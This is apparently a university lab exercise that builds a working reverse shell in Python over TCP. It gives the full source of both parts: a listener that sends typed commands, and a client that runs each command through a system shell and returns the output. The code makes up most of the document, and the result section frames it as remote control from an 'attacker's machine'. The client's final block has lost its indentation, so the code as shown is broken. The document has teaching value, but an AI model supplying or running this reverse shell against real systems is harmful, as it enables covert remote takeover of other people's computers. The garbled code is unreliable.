

EXERCISE 9

DEVELOP A PROGRAM TO CREATE A REVERSE SHELL USING TCP SOCKET

AIM:

To develop a program that establishes a reverse shell using TCP sockets, where the client initiates a connection to the server, receives commands from the server, executes them on the client machine, and sends the output back to the server over the TCP connection.

ALGORITHM:SERVER:

1. Start a TCP socket and listen for incoming connections.
2. Accept a connection from the client.
3. Continuously:
 - Send a command to a client.
 - Receive and display result.
 - Stop if "exit" is sent.
4. Close connection.

CLIENT:

1. Start TCP socket.
2. Connect to the server's IP and port.
3. Continuously:
 - Receive a command from server.
 - Execute and send back result.
 - Stop if "exit" is received.
4. Close the socket.

CODE:SERVER:

```
import socket
import threading
```

```
host = '127.0.0.1'
port = 9999
```

```
def create_server_socket():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[+] Listening on {host}:{port}")
    return server
```

```

def handle_client(conn, addr):
    print(f"[+] Connection established with {addr[0]}:{addr[1]}")
    while True:
        try:
            command = input(f"{addr[0]}@shell> ")
            if command.lower() == 'quit':
                conn.send(command.encode())
                conn.close()
                break
            if command.strip():
                conn.send(command.encode())
                response = conn.recv(4096).decode()
                print(response)
        except Exception as e:
            print(f"[!] Error: {e}")
            conn.close()
            break

def start_server():
    server = create_server_socket()
    while True:
        conn, addr = server.accept()
        client_thread = threading.Thread(target=handle_client, args=(conn, addr))
        client_thread.start()

if __name__ == "__main__":
    start_server()

```

CLIENT:

```

import socket
import subprocess
import os

host = '127.0.0.1'
port = 9999

def connect_to_server():
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((host, port))

    while True:
        try:
            command = client.recv(1024).decode()
            if command.lower() == 'quit':
                break
            elif command.startswith('cd '):
                try:
                    os.chdir(command[3:].strip())
                    output = f"Changed directory to {os.getcwd()}"
                except Exception as e:
                    output = str(e)

```

```

else:
    process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = process.stdout.read() + process.stderr.read()
    output = output.decode()
    current_dir = os.getcwd() + "> "
    client.send((output + "\n" + current_dir).encode())
except Exception as e:
    client.send(str(e).encode())
    break

client.close()

if __name__ == "__main__":
    connect_to_server()

```

OUTPUT:

The image shows two terminal windows side-by-side. The left window, titled 'Administrator: Command Prompt - python rserver.py', shows the server's output. It starts by listening on 127.0.0.1:9999, then a connection is established with 127.0.0.1:62562. The user '127.0.0.1@shell' enters 'cd', and the server shows the directory of C:\Users\SIVARANDANII. The user then enters 'dir', and the server displays a detailed directory listing of C:\Users\SIVARANDANII, including files like .cache, .config, .cursor, .docker, .gemini, .icesoft, .idlerc, .lessht, .local, .openjfx, .packettracer, .redhat, .VirtualBox, .vscode, any.py, Cisco Packet Tracer 9.0.0, Contacts, DEMO, Documents, Downloads, elderly people app, Favorites, ftp.py, GnuPG, Gpg4win, hash.txt, id_rsa_1593558668558.id_rsa, Links, Music, and OneDrive.

The right window, titled 'Administrator: Command Prompt - python rclient.py', shows the client's output. It displays the Windows version (10.0.26100.6899) and copyright information. The user enters 'cd ..', 'cd ..', '\>cd Users', and 'cd SIVARANDANII', which the client successfully executes, as shown by the final prompt 'C:\Users\SIVARANDANII>python rclient.py'.

RESULT:

The server remotely sends commands to the client, and the client executes them and returns the results over the TCP connection. This enables remote system control from the attacker's machine.